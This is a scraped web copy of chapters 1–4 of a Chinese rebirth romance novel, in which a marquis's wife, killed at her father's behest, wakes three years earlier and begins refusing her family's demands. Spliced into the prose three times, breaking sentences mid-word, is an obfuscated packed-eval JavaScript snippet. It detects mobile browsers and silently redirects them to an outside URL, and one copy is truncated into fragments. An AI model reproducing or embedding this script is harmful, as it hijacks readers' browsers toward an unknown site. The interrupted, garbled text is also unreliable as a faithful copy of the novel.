《侯夫人重生日常》 1. 第 1 章 深秋时节,窗外飘了雨,雨水淅淅沥沥,洒进了屋内。 雕花的廊下站着一个年轻的妇人,身着一袭素衣,脸上没搽一丝脂粉,打扮得十分素净,但却难掩她姣好的容貌。 身形窈窕,琼鼻樱唇,眉如细柳,如同画里走出来的人物。 此刻她眸子里没有一丝光彩,整个人像是丢了魂魄一般。雨水溅在她的身上,素色的衣裳深了几块,脸颊上也沾了几缕青丝。 邵婉淑一向是最讲究的,人前人后都维持着端庄体面。可此刻她却一动未动,对沾湿的衣裳和凌乱的头发视而不见。 她是定南侯夫人。一个月前,前线传来消息,自己的丈夫定南侯裴行舟死在了战场上。很快,一个大着肚子的女人找上了门,自称肚子里怀了丈夫的孩子。作为京城里有名的贤妻,邵婉淑理应认下这个孩子。可在见到那女子的一刻,心底却像是突然落入了一颗石子,泛起了涟漪,翻腾着恶心。 裴家族里的众人在此时登了门。他们拿着礼法规矩,让其将女人肚子里的孩子认下。一向听从长辈之言的她没有立即答应下来,事情就这样搁置了。过了不久,娘家的母亲也上门劝她认了这个孩子,下半辈子好有个依靠,她依旧没有认下。 京城里流言四起,或嘲笑她得了个庶长子,或说她不体面,甚至说她克夫。 就这样传了数十日,娘家人再次来访,这次传来的是父亲的消息。邵婉淑本以为抓住了最后一根救命稻草,结果却得到了一条白绫。父亲让人告诉她,若是不愿认下孩子,那就为定南侯殉葬,以全邵家书香人家之名,得一个贞节牌坊,惠及后代。 明明大家从前都是客客气气,和和美美的,为何丈夫去世后都变得面目狰狞。 一阵冷风袭来,邵婉淑却像是感觉不到一般,呆呆地看着院子里的枯树。 婚前,她一切都听父亲的。每日晨起读书,学习德容言功,从不懈怠。适婚之年,她被赐婚给定南侯。婚后,天不亮她便早起,服侍丈夫,孝敬婆母。在内打理侯府的事宜,在外维系侯府跟各个府之间的关系。她是京城人人称赞的贵妇。 她每一步都规规矩矩,从未行差踏错。她原以为自己会体面一辈子,没想到却得了这样一个结局。一向不近女色的丈夫不知何时有了别的女人,还让那个女人有了身孕,打了她这个正妻的脸。至于她最依赖的娘家,更是令人心寒,父亲不想让她继续活下去,逼着她为丈夫殉葬。 她一向循规蹈矩,不明白自己究竟做错了什么,为何命运要这般玩弄于她。 这时,一阵风吹过,又冷了几分。 阿梨:“夫人,您衣裳打湿了,咱们回屋去吧。” 邵婉淑没有立时回答,过了片刻,轻轻嗯了一声,转身回了屋里。屋外夜色如墨,桌上的白绫明晃晃的,格外刺眼。她只瞥了一眼就收回了目光。 屋里很快熄了灯,邵婉淑躺下了,黑暗将她彻底淹没。 她说不清自己此刻到底是什么感受,丈夫的死讯已经传来一个月了。婆母形容枯槁,哭晕了数次。侯府众人或真情或假意,全都落泪多次。唯独她,在看到那个大着肚子的女人出现时,一滴眼泪也不曾流下,冷眼旁观着这一切。成亲三年,她和丈夫相敬如宾。人前他给她侯夫人的尊重,人后二人也从未有过任何的争吵,彼此之间像是最熟悉的陌生人。 可他毕竟是她的丈夫,如今他死了,她便真的是孤身一人了。 作为一个从小学习礼法最守规矩的人,她知道自己是正妻,应该认下那个女人肚子里的孩子,抚养他长大。她也明白,为了家族的利益,她应该主动殉葬,全了邵家的好名声。 可…… 就是不甘心。 她不想认下那个“庶长子”,也不想自尽。她想活着,想体面的活着。活着已经很难了,体面的活着更是难上加难。要么认下那个女人肚子里的孩子,要么一条白绫去死,她再无别的选择。 屋外狂风骤雨,屋里越发冷了。 邵婉淑正欲睡着之际,脖子骤然被人勒住了,一股强烈的窒息感袭来。她猛然间惊醒,拼命挣扎。然而那人的力气却大得出奇,无论如何都挣脱不开。 邵婉淑眼角瞥到了那条白绫。原来,身后之人用白绫勒的她。 父亲就这么想让她死吗? 渐渐地,邵婉淑没了力气,呼吸也越来越微弱。她闭上了眼,一行清泪从眼角滑落。 “啪!” 邵婉淑耳朵嗡嗡的响,一阵耳鸣袭来,脸颊上传来火辣辣的疼。她有些站不稳,朝着一旁倒去。 阿梨连忙上前扶住了她。 邵婉淑缓了缓,睁开了双眼,看向眼前的阿梨,眼底有几分迷茫。她不是被人勒死了么,这是在哪里,阎王殿吗? “为父白养你那么多年了,这点小事都做不好,你还能干什么?”一道刺耳的声音在屋里响了起来。 邵婉淑心一沉,扶着阿梨的手站稳,抬眸看向了面前的中年男人。这是她的父亲,将她带到人世的父亲,也是用一条白绫令她丧命的父亲。往日有些严肃的父亲此刻面色显得有几分狰狞,想到方才窒息濒死的感觉,身体忍不住颤抖了一下,但眼睛却一动不动地盯着他。 邵侍郎:“为父从小就让人教你读书,教你礼仪。你是侯夫人,管家的事情本就应该是你的,你怎么就拿不回来呢?你知不知道外面怎么笑话你母亲的?说你母亲无能不会教女儿,教的女儿是个花架子,连管家的事情都做不好。你就不能规规矩矩的别给家里丢脸吗?” 邵婉淑眼底多了一丝疑惑。 管家?这一幕怎么这么熟悉。长大后她只挨过一巴掌,那就是在她成亲三个月回家的时候。那时候因为自己没能拿回来侯府的管家权,外面便传了些风言风语,说邵家教的女儿无能,不会管家。父亲很是愤怒,把她叫了回来,训斥了一番,还打了她一巴掌。 难道她不是死了,而是在做梦梦到了从前? 陆氏见丈夫态度软和下来,松了一口气,转头看向女儿。看着一向听话的女儿竟然木讷地站在原地没有反应,心里又有些着急。 “你父亲也是为你着想,你是定南侯夫人,管家名正言顺。如今让二房把持家里的内务,旁人都在笑话你,你父亲是怕你名声受损。你得明白为人父母的苦心。” 此刻再听一遍母亲这番话,邵婉淑突然觉得有些可笑。 为她着想……从前她的确是信了的,如今在经历了那么事情后她一个字也不信。父亲何时为她着想过,在他心里只有邵家,他甚至可以为了家族利益勒死她这个亲生女儿。 见女儿不答,邵侍郎怒意更盛。 “她要是真明白早就把管家权夺回来了,这都成亲三个月了还没能做成此事。这个不争气的东西,白白在她身上浪费了那么多年的时间,只会让家族蒙羞!” 女儿听话是听话,就是有些古板,不知变通。她去向老夫人要管家权,老夫人拒绝了她,她便遵循孝道不再提此事。明明她是侯夫人,侯府的女主人,管家理所应当,合情合理,丝毫不违孝道。 阿梨吓得哆嗦了一下,紧张地看向了自家夫人。夫人一向听老爷的话,尤其是老爷发火的时候。今日怎么跟老爷倔了?赶紧答应下来吧,免得老爷还要打夫人。 邵侍郎看着女儿眼底的怒气,忍不住又抬起了胳膊,朝着女儿的脸挥去。 看着即将扇到自己脸上的巴掌,邵婉淑终于动了,她抬起纤细的手腕,握住了父亲的手腕。 屋内的众人皆是一惊。邵家最注重长幼尊卑,邵侍郎是家主,府里所有人都得听他的,不得反抗,大姑娘竟然敢反抗老爷。 邵侍郎的脸色比方才还要阴沉了些。 邵婉淑心里也十分惊讶,刚刚见父亲的手挥过来时,她下意识挡了一下。原以为自己是在梦中,挡不住的,没想到竟然真的拦住了。可她不是在做梦么?为何这个梦如此真实,她竟然能感受到父亲手腕上的力道。她是畏惧父亲的,这么多年的打压,导致她看到父亲不悦的神情就害怕的哆嗦。 然而,看着父亲这张脸,她想到了昨晚被白绫勒住的窒息感。她不知哪里来的勇气和力气,双手死死握住了父亲的手腕。 邵侍郎脸色彻底沉了下来,他咬牙道:“你敢忤逆我?” 邵婉淑毕竟是女子,力气不及邵侍郎,察觉到邵侍郎用力了,她克制住内心的恐惧,用尽量平静的语气道:“父亲,女儿如今是定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929600|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南侯夫人,您若再打下去被定南侯府的人看到了可就不好解释了。” 邵侍郎看着女儿脸上的巴掌印,虽然心里仍旧愤怒,但也知此事不妥,手腕上的力道卸去了一些。他突然觉得一向听话的女儿在此刻有些不受控了。 “你在威胁我?你这是瞧着成了侯夫人了就敢跟家里对着干了?” 邵婉淑垂眸:“女儿不敢。” 这时,王管家进来了,在邵侍郎耳边低语了几句。 邵侍郎点了点头,整理了一下衣裳,看着面前的女儿道:“为父今日还有重要的公务要处理,就先不同你说了。今日我同你说的话你要放在心上,赶紧把管家权拿回来,免得邵家被你连累。” 说完,同邵侍郎和王管家一起离开了内宅。 看着父亲匆匆离去的身影,邵婉淑垂眸掩盖住内心复杂的情绪。 天色不早,邵婉淑回了侯府。 离开前,陆氏递给女儿一瓶药膏。 “你爹也不是故意打你的,你知道的,他最疼你了,平日里舍不得碰你一下。你弟弟都被他打了那么多回,他可是很少打你的。今日他也是怕你被人嘲笑,为了你的名声着想才打了你。这是消肿的药膏,你赶紧用上吧,免得明日被人笑话。” 爹娘一直如此,一个骂她,一个哄她。若是母亲没有在莲娘上门时让她认下她肚子里的孩子,若是父亲没有在定南侯去世后逼她殉葬,或许她还会信了爹娘的话,如今她只觉得这些话颇为讽刺可笑。爹娘口口声声说为她着想,事实上他们在乎的从来都不是她,他们在乎的只有邵家的名声。 邵婉淑沉默地接过了药膏,朝着陆氏福了福身,转身上了马车。全然不似从前那般母女情深,依依惜别。 陆氏见女儿没有说感激的话,微微蹙眉,想到方才女儿在厅堂的举动,心思沉了沉。 马车很快驶离了侍郎府。先是行过一段长长的安静的巷子,接着便驶向繁华的街道。 货郎的叫卖声,小孩子的嬉笑声,哒哒的马蹄声……全都传入了耳中。 邵婉淑掀开车帘的一角看向外面。夜幕已经降临,街市上熙熙攘攘,行人如织。街道两侧小摊贩在卖首饰,招呼着路过的行人;不远处杂耍的人在喷火,演到精彩处一只小猴子拿着盘子向围观的人讨要赏钱。 这一切都真实到可怕。 这真的只是个梦吗?邵婉淑再次怀疑。 “夫人,您没戴帷帽,会被人看到的,快合上帘子吧。”阿梨在一旁小声提醒。 邵婉淑的目光落在了路边牵着手的年轻男女身上,合上了帘子。她是侍郎府的嫡女,是大家闺秀,所以每次出门都要裹得严严实实的。可如今,大街上不仅有女子抛头露面,甚至年轻男女也会牵手。她不喜裹那么严实,她也想旁人一样自由自在的。可爹娘却教育她,小门小户才会如此,她身份尊贵,要讲规矩礼仪。如今瞧着,和他们相比,她这个大家闺秀委实迂腐了些。 不多时,马车回到了定南侯府中。 天色早已暗了下来,一路上,没有人注意到邵婉淑红起来的脸。 直到回到了韶华院中,阿桔瞧着邵婉淑的脸,惊呼一声:“夫人,您的脸怎么了?” 邵婉淑没答。 一旁的阿梨冲着阿桔摇了摇头,示意她别再多问。 阿桔连忙闭了嘴。 邵婉淑换下衣裳,坐在了榻上。 阿桔上了一壶热茶,为邵婉淑倒了一杯。 邵婉淑双手捧起了茶,热气氤氲,手暖和了些。她看了一眼暖红的手,眼里的疑惑更盛。这个梦真实到像是实实在在发生的。 就在这时,阿梅从外面进来了,她看一眼邵婉淑的脸,道:“夫人,前院的人传信,说侯爷朝着咱们院子过来了,您今晚要见他吗?” 侯爷…… 她的丈夫,定南侯。 邵婉淑眼眸微动。自从定南侯去前线打仗,到现在已经有一年的时间了,她已经有一年没见过他了,再听到他的消息时就是他的死讯。她记得三年前的这天定南侯也来了,但那时她脸上有巴掌印,所以并没有见他。 如果眼下真的是梦的话,她真的会见到他吗? “见。” 2. 第 2 章 众人皆感到一丝诧异。夫人平日里最注重自己的脸面和仪表,今日她被老爷打了,整个人都有些狼狈。按理说她应该不会见侯爷才是。 作为邵婉淑身边最贴心的大丫鬟,阿梨并没有说出来反驳的话,而是提出了相应的办法。 “奴婢为您擦些粉,遮一遮。” 邵婉淑却拒绝了:“不用了。” 遮不住的,能遮住的只是表面的伤口罢了,父亲对她的冷酷用再厚的脂粉也遮不住。况且,这不过是一场梦罢了,遮与不遮,又有什么区别。 阿梨没再动。 不多时,定南侯来到了韶华院中,院中的人全都朝着他行礼。 “见过侯爷。” 在一声声此起彼伏的行礼声中,裴行舟高大的身影出现在了邵婉淑面前。 裴行舟身着一袭玄色的衣袍,身姿挺拔。五官硬朗,剑眉星目,鼻梁高挺。面上没有任何神情,整个人看起来看起来十分冷峻,让人望之生畏。 在见到邵婉淑的那一刻,他的脸色似乎柔和了几分。 邵婉淑下意识站起来,想要朝着他走去。脚步刚刚一动,又停了下来。 既是梦,她不想那么累了。 犹豫的这一瞬,裴行舟已经来到了邵婉淑面前。 邵婉淑:“见过侯爷。” 裴行舟抬了抬手:“夫人不必多礼。” 说罢,他径直走到塌前,落座,邵婉淑也在他的对面坐下。 阿桔重新上了一壶茶,又退了出去。 裴行舟端起桌上的茶喝了一口,这才看向邵婉淑。刚要开口说些什么,眼睛注意到了邵婉淑的左脸,目光微微一沉。 “脸怎么弄的?” 邵婉淑微微侧头,避开了裴行舟探究的目光。 “没什么,不小心碰到的。” 裴行舟脸色沉了几分,但却没再多问。 接下来,两人谁都没再开口。裴行舟坐在榻上静静喝茶,邵婉淑时不时看向他。若在从前,邵婉淑是断然不敢这样大胆地看裴行舟的。 一开始她是有些怀念的,毕竟两人夫妻三年,她又许久没见丈夫了。而在丈夫去世后,她的天彻底塌了,任何人都能来踩她一脚。看着看着,她想到了丈夫死后发生的事情。她以为他们夫妇虽然感情不够深,但应当是有默契的。她为他操持侯府的事宜,让他没有后顾之忧。而他也应该给她体面,不会弄出来庶长子打她的脸。可事实却是他压根儿没考虑过她的感受。他让一个女人有了身孕,狠狠打了她的脸。 父亲想让她死,丈夫想让她颜面尽失,天底下的男子还真是薄情。 前院还有些公务未处理完,裴行舟本想坐一会儿就回去,见邵婉淑一直看他,此刻却是误会了她的意思。他们刚成亲三个月,最近几日太忙,他只是来后宅坐上片刻就离去了,一直没有留宿。 喝完一杯茶后,裴行舟沉声道:“安置吧。” 邵婉淑回过神来,裴行舟已经抬脚朝着里间走去。 不多时,二人去了床上。两人皆是平躺着,邵婉淑在里侧,裴行舟在外侧。两人既没有说话,也没有任何的举动,如同之前的许许多多个夜晚。 就在这时,裴行舟突然翻身覆了过来。 邵婉淑顿时一惊,睁大了双眼看向裴行舟。 裴行舟却不再像方才一样冷漠,没等邵婉淑反应过来,他的唇便重重落在她的唇上,手也在她的身上游走。 他在夜里一向如此,跟白日的他判若两人。 两人已经一年没有同房了,邵婉淑身体忍不住轻颤一下。 那吻又霸道地落在了她的脸上,她的眉眼,她的脖颈,带起了一阵阵的颤栗。 邵婉淑终于呼吸自由,恢复了力气,身体下意识想要靠近他。突然,她的眼前闪过那个大着肚子跪在她面前哭得梨花带雨的女人,心顿时一沉,抬手推了推裴行舟。 裴行舟却没什么反应,动作未停。 邵婉淑心里多了丝恼怒,手上也用了些力气。 裴行舟终于停了下来,一双眼沉沉地看向邵婉淑,似是不明白她为何如此。 邵婉淑木着一张脸,压住心里的恶心,道:“我身体不舒服。” 裴行舟眼神越发沉了,她的月事在半月前,今日却告诉他身子不舒服,这是在拒绝他?看来是他方才会错意了。罢了,成亲三月,无论何时她都板着一张脸,没什么反应,他也没什么兴致。 邵婉淑实在是扛不住裴行舟阴沉探究的目光,侧脸避开了。 裴行舟刚要翻身下去便看到了邵婉淑左侧的脸颊。虽然床幔遮住了外面的光,但裴行舟是习武之人,眼力极好,此刻二人又离得极近,他清楚地看到邵婉淑的脸不光有巴掌印,竟还肿了起来,比他刚刚在外间看到的还要严重些。 她方才说身体不舒服,应当是真的不舒服。 裴行舟的眼神瞬间柔和了几分,他抬手用粗粝的指腹轻轻抚过邵婉淑微微肿起来的脸颊,沉声问:“疼吗?” 若是以往,邵婉淑多半会遮掩过去,此刻“不疼”二字却有些说不出口了,因为她是真的很疼,尤其是被裴行舟的手指刮过之后就更疼了。 邵婉淑蹙了蹙眉,道:“别碰,疼。” 裴行舟没听出来邵婉淑语气里的嫌弃,看着她的脸,他的眼神骤然一暗,从肿起来的脸颊看,打她之人用的力道极大。 她虽是侍郎府的姑娘,但也是他的妻。打她,便是在他的脸。 裴行舟压住心里的怒意,问:“岳父同你说了什么?” 邵婉淑唇微微抿起,淡淡道:“没说什么。” 裴行舟眯了眯眼,盯着邵婉淑看了片刻,平躺回去。 两人都没再说话。 这一晚上发生了太多的事情了,邵婉淑脑子里乱得很,一会儿是王管家送来的白绫,一会儿是父亲打她时那张狰狞的脸,一会儿又是裴行舟阴沉的目光。想着想着,她竟渐渐睡着了。 听着身侧传来均匀的呼吸声,裴行舟蓦地睁开了眼,侧头看向了身侧之人,眼里满是探究之意。 这门亲事本就是政治联姻。贤贵妃一直希望他支持三皇子,见他无意,便将自己的侄女嫁了过来,试图拉近彼此的距离。成亲三个月,她虽有些小动作,但总体而言还算规矩。 这次回娘家,邵侍郎为何要打她,是交给她什么任务了吗? 盯着邵婉淑看了片刻,裴行舟收回了目光。 她既心里只想着娘家,不想说便罢了,前院还有许多公务要忙。 裴行舟掀开了被子准备下床。 就在这时,邵婉淑突然手脚并用地挣扎起来。 “不要,不要……” “救命,救命……” 睡梦中,邵婉淑突然变得不安。她又梦到昨晚那一幕了,那根白绫死死勒在自己脖子上,让她几乎无法呼吸。 裴行舟看着邵婉淑痛苦的样子,眉头紧紧皱了起来。但身体还是靠近了些,轻轻拍了拍她的肩,以示安抚。 邵婉淑像是抓住了一根救命稻草,死死握住了裴行舟的胳膊,嘴里依旧念叨着什么。 裴行舟性子冷,也甚少与人亲近,不知该如何安抚人。他僵了片刻,抬手将人圈入了怀中,宽大的手掌抚摸着怀中人的后背。耳朵凑近了邵婉淑的唇,想要听清楚她说了什么。 然而他只间或听到了“父亲”、“救命”,其余什么都没听清。 邵婉淑似乎在梦中得救了,情绪渐渐平稳下来,再次沉沉睡去。 裴行舟抽了抽胳膊,见抽不出来便作罢了。渐渐的,他也生出了一丝困意,没再离开,而是阖上了双眼。 卯时初刻,裴行舟醒了过来。低头看着怀中柔软的人,他掀开被子,轻手轻脚下了床,离开了主屋。 想起邵婉淑肿起来的脸颊,知道她好面子,不愿让人看她的笑话,裴行舟又多嘱咐了一句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929601|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去祥和院说一声,夫人最近身子不适,这几日就不去给母亲请安了,也别让人来打扰夫人。” 青云:“是。” 在裴行舟离开主屋的那一瞬,正躺在床上睡觉的邵婉淑陡然睁开了眼,眼底一片清明。 从前,每次裴行舟宿在韶华院她都会起床服侍他,因此她睡觉并不沉。在裴行舟掀开被子下床的那一刻她就醒了,只是不知该如何面对这一切,所以便假装还在睡。 邵婉淑从床上坐了起来,打量了一下屋里的陈设。这一切都和昨晚一样,没有任何的改变。她几乎可以断定了,自己不是做了个梦,而是真的回到了三年前,刚和定南侯成亲三个月之际。 她是睡梦中被人勒死了,然后又被父亲打了一巴掌,回到了三年前。纵然听起来有些诡异,但事实显然就是如此。 就在这时,阿梨推门进来了。 见邵婉淑正坐在床上发呆,阿梨有些惊讶。她没瞧见夫人送侯爷,还以为夫人并没有醒过来。 “夫人,您醒了。” 邵婉淑:“嗯。” 阿梨将手中的瓷瓶递了过去:“这是侯爷给您准备的药膏,说是有消肿止痛的功效。” 邵婉淑打开瓷瓶闻了闻,这是伤药的味道。她虽然鲜少受伤,但定南侯身为武将偶尔会受伤,她曾在他身上闻到过这个味道。寻常的伤他并不会用这个药膏,有一次他受了重伤才用。她知道这药很是珍贵,没想到他竟会给她。 阿梨又道:“您不必着急去给老夫人请安,侯爷已经让人给您告过假了,说您身体不适,让您过几日再去给老夫人请安。” 邵婉淑微微颔首,这话她方才听到了。 端水进来的阿桔有些不满地接了一句:“夫人,侯爷这样安排是不是不想让您管家?” 阿桔的话勾起了邵婉淑的回忆。 前世,她也是这样想的。 父亲因为她没有拿到管家权打了她,她不想让裴行舟知道她在娘家挨了打,因此,当晚她将裴行舟拒之门外。第二日一早,为了完成父亲交给她的任务,她脸上敷了厚厚的脂粉,去了祥和院。她再次向婆母要管家权,婆母拒绝了她。 晚上,裴行舟来了韶华院,委婉地告诉她,让她过些日子再管家。 丈夫不站在自己这边,她十分失望。在丈夫和父亲之间,她左右为难,最终还是选择听从父亲的话。毕竟,当时的她觉得自己是侯夫人,理应管家,而丈夫又和自己不是一条心的。 当晚,裴行舟仍旧没有在内宅歇下,回了外院。 第二日,她又问婆母要了府里的管家权。如此问了三日后,侯府或许是怕闹到外面不好看,又不占理,最终管家的事落到了自己的手中。 等自己真的管家了,她方才知道侯府管家的事是个烂摊子,侯府账面上几乎没多少钱了。她贴补了自己的嫁妆,才勉强能维持住颜面。外人都夸她会持家,是个贤惠的。 她得了面子,却失了里子。 不仅贴补了嫁妆,也越来越忙了。因为管家一事,她和丈夫、婆母生了嫌隙,丈夫也越来越少来她的院中。 可最终,丈夫死了,这个家还是二房的。 她忙碌了数年,什么都没得到,竹篮打水一场空。 看着邵婉淑脸上怔忪的表情,阿梨提出了不同的看法:“奴婢觉得侯爷或许是知道夫人爱面子,怕府中其他人看到夫人脸上的伤,背后说您的不是。” 邵婉淑从回忆中抽离出来。 “关门谢客吧,伤好之前咱们不出院子了。” 阿桔有些担心:“管家的事怎么办,老爷那边怕是不好交代。” 听阿桔提起父亲,邵婉淑的脸瞬间沉了下来,眼底一片冰冷。即便她再孝顺,在被父亲弄死后也生不出丝毫的亲近之心。 “此事不急,过些日子再说吧。” 见邵婉淑脸色不好,阿梨和阿桔对视了一眼,两人不再提管家的事。 3. 第 3 章 吃过朝食,邵婉淑坐在榻上看向了窗外。她实在是不明白自己为何会有这样的奇遇,一睁开眼就回到了三年前的今日。究竟三年前的一切是个梦,还是眼下的一切是梦? 一只喜鹊突然落在了窗台上,叽叽喳喳叫了起来。 邵婉淑忍不住抬手摸一下,尚未触及到喜鹊,喜鹊便扑腾一声飞走了。 这一切都异常的真实。 又或许,她只是在被父亲打了之后做了一个长长的梦,从前都是梦,眼下才是真实的? 微风拂过脸颊,邵婉淑突然清醒了。何必纠结于前世今生,亦或者梦境现实,至少眼下的她比前世要好上许多。 这时,阿梨来到了屋里,道:“夫人,老夫人身边的李嬷嬷过来了。” 邵婉淑抽回了思绪,眼底流露出来一丝惊讶。前世,她因为管家的事和婆母闹翻了,后面二人又发生了许多不愉快的事情,婆母已经不再理会她了。不管她病得如何重,都不会让人探望她。 仔细想想又明白过来了,如今她刚嫁入府中三个月,管家的事也只在刚成亲三日时提了一回后面便没再提,此时她尚未和婆母发生任何的矛盾。 “让她进来吧。” 阿梨:“是。” 李嬷嬷很快就走了进来,她身后跟着个小丫鬟,手里提着一个食盒。 李嬷嬷朝着邵婉淑行礼:“老奴见过侯夫人。” 邵婉淑:“嬷嬷请起。” 站起身来后,李嬷嬷仔细打量着邵婉淑的脸色。她是奉老夫人的命来的。自打夫人嫁过来,每日都会去晨昏定省,风雨无阻,从未告过一日假。今日侯爷突然为夫人告假,老夫人有些怀疑,又有些担心。 邵婉淑此刻是侧着身半躺着,左侧的脸颊朝着里侧,陷在阴影里,李嬷嬷并未看到。 李嬷嬷见从面看不出来什么,有些疑惑,但她当下并未说什么,而是道:“老夫人得知夫人身子不适,让人炖了些汤,夫人趁热喝了吧。” 邵婉淑:“多谢母亲,等过两日我就去给母亲请安。” 李嬷嬷:“老夫人说让夫人不用着急,夫人先歇着,等身体好了再去见老夫人也不迟。” 等李嬷嬷走后,阿梨打开了食盒,里面竟然是一盆老母鸡汤。 邵婉淑顿时就明白了,婆母这是误会了。早上裴行舟让人去跟婆母告的假,婆母定是以为她昨晚累着了,这才让人炖了鸡汤。事实上,昨晚她和裴行舟之间什么都没发生。 阿梨:“鸡汤怎么办?” 邵婉淑刚吃过饭,看着飘着油花的鸡汤,实在喝不下。 “交给小厨房,中午喝吧。” 阿梨笑着应下了。夫人太瘦了,早就该好好补补了。 姜老夫人很快就听李嬷嬷说起韶华院的事情,心里也有些疑惑。既然不像是累着了,也不像是有病,儿媳为何突然告假? “你瞧着她心情如何?” 这个问题就有些为难李嬷嬷了,李嬷嬷斟酌道:“夫人平日里就不苟言笑,老奴实在是看不出来她的情绪。” 姜老夫人:“罢了,我也不多问了,总归她没什么病就好。” 她虽和儿媳不太投缘,但既然如今是一家人,自然希望她身体健康,一家人和和美美的。 等到了晚上,瞧着快到亥时了,侯爷没有要来的意思,而夫人也没有任何举动,阿梨提醒道:“夫人,今日还让人去前院送茶水和吃食吗?” 邵婉淑想起了自己前世做过的事情,她不仅要早起服侍裴行舟,每晚都会往前院送一些茶水和点心。在裴行舟上战场前,她每日都坚持做这些事,一直持续了两年的时间。裴行舟从来没拒绝过,也从未表示过对茶水和点心的喜欢。 前世她一直努力做好贤妻,可结果又如何呢? 重活一世,她不想那么累了。 “不去了,我乏了,安置吧。” 裴行舟是定南侯,整个侯府都是他的,他身边那么多人伺候着。他想喝什么,吃什么,自然有人为他送过去。 除了每月的初一和十五,若无要事,裴行舟几乎不回内宅。邵婉淑舒服地泡了澡,熄了灯,去床上睡了。她习惯性地去了里侧,这里是属于她的位置,外侧是裴行舟的。不管裴行舟晚上是否回韶华院,她都是如此做的。 躺了片刻后,她突然睁开眼,把枕头挪到了中间的位置,如此,感觉舒服多了。 以前她总觉得这一张床太大了,若是裴行舟不回来的话,床空得很。如今却觉得这床刚刚好,想往那边翻身都可以,不必担心压到了裴行舟。 夜深了,裴行舟仍旧在前院处理公务。 他坐在檀木椅上,身着一袭玄色的衣袍,眼眸深邃似寒潭,唇微微抿着,修长的手指握着一支朱笔,却像是握着一把剑一般,直刺敌人的心脏。 批完手上的公文,他突然有些口渴,放下朱笔,端起桌上的茶喝了一口,眉心微微皱了起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929602|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 味道不对,浓了些。 “换茶叶了?”裴行舟低沉的嗓音在屋里响起。 青云没有立即回答,而是迟疑了片刻。今日的茶叶是府中准备的,侯爷多年来一直都是用的这个茶。夫人嫁过来之后,每晚都会给侯爷送茶。他记得侯爷嫌弃夫人的茶太淡了,并不喜欢。只是那茶是夫人送过来的,侯爷不好意思驳了夫人的面子,便坚持喝了。 可今日瞧着似乎不太对,侯爷并没有因为换成了原来的茶水而欣喜。 他斟酌了一下,回答道:“前些日子的茶是夫人准备的,今晚夫人没过来,这是府里之前准备的。” 裴行舟向来对茶没什么讲究,听完青云的解释,没再说什么,又继续处理公务了。 虽是如此说,往日每晚要用一壶茶的他,今日却只用了半杯,那喝剩的半杯茶一晚上都没再碰。 忙完公务,裴行舟下意识又端起了桌上的茶,等茶到了唇边,想到方才的味道,又放了回去,站起身朝着书房旁边的厢房走去。 青云:“夫人身边的人又来前院打探侯爷的行踪了。” 裴行舟脸色并无任何变化,显然这种事已经发生了很多次。 “知道了。” 不知是不是晚上的那口茶有些浓,裴行舟躺在床上一时没睡着。脑子里先是过了一遍朝堂之事,想着想着,突然浮现出邵婉淑的身影。 她是个再规矩不过的人,一向听岳父的话,昨晚岳父为何会打她。她昨晚拒绝了他,今晚又没有来送茶水,这些事是否和她在侍郎府发生的事情有关。岳父所吩咐之事与贤贵妃和三皇子有没有关系。 邵婉淑又做了那个梦,梦到自己被人勒住了脖子,整个人都有些窒息,呼吸不畅。她从噩梦中惊醒,猛然从床上坐了起来,大口大口喘着粗气。 她抬手摸了摸脖子,看了看四周。今日是十六,月华如水。瞧着屋内的陈设,她松了一口气,还好,她还在三年前,没有回去。只是个噩梦罢了。她又躺了回去,紧紧裹住了被子。 第二日一早,天还未亮,裴行舟早早醒了过来。不知是否因为昨晚睡前想到了邵婉淑,他竟破天荒地梦到了她,还是初见她的情形。他赤着上身在院子里练了一会儿剑,将心里莫名的躁动压了下去。出了一身汗,去沐浴了一番,这才穿戴整齐去上朝了。 临行前,裴行舟吩咐青云:“去查一下前日夫人在侍郎府发生了何事。” 青云:“是。” 4. 第 4 章 昨夜邵婉淑过了许久才迷迷糊糊又睡着了,这一觉睡到巳时才醒。醒来后,身体本是十分疲惫的,但听着窗外叽叽喳喳的鸟鸣,感觉轻松了许多。能自由呼吸的感觉真好,活着的感觉真好。 阿梨从外面进来了,她仔细看了看邵婉淑的脸,惊讶地道:“侯爷给的药真好,夫人的脸竟好了大半。” 邵婉淑摸了一下脸。若不触碰,她几乎感觉不到疼痛。 阿梨服侍着邵婉淑起床,压低声音道:“阿梅从前院寅虎那里打听到侯爷昨晚又是一个人在书房歇下的,并未让人服侍。” 